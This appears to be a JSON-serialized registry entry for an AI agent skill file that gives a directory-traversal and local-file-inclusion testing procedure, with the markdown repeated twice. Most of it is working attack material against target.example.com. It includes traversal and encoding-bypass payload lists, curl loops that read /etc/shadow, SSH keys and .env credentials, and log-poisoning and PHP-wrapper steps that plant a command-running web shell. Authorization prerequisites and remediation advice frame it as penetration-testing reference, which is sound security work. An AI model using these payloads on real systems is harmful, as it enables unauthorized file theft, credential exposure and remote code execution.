[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M735X4RXBVB0JJR24NMDFEKX":3,"skill-same:01M735X4RXBVB0JJR24NMDFEKX":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":54,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M735X4RXBVB0JJR24NMDFEKX","performing-directory-traversal-testing",null,"Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-directory-traversal-testing\ndescription: Testing web applications for path traversal vulnerabilities that allow\n  reading or writing arbitrary files on the server by manipulating file path parameters.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- directory-traversal\n- path-traversal\n- lfi\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n","# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":48},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical 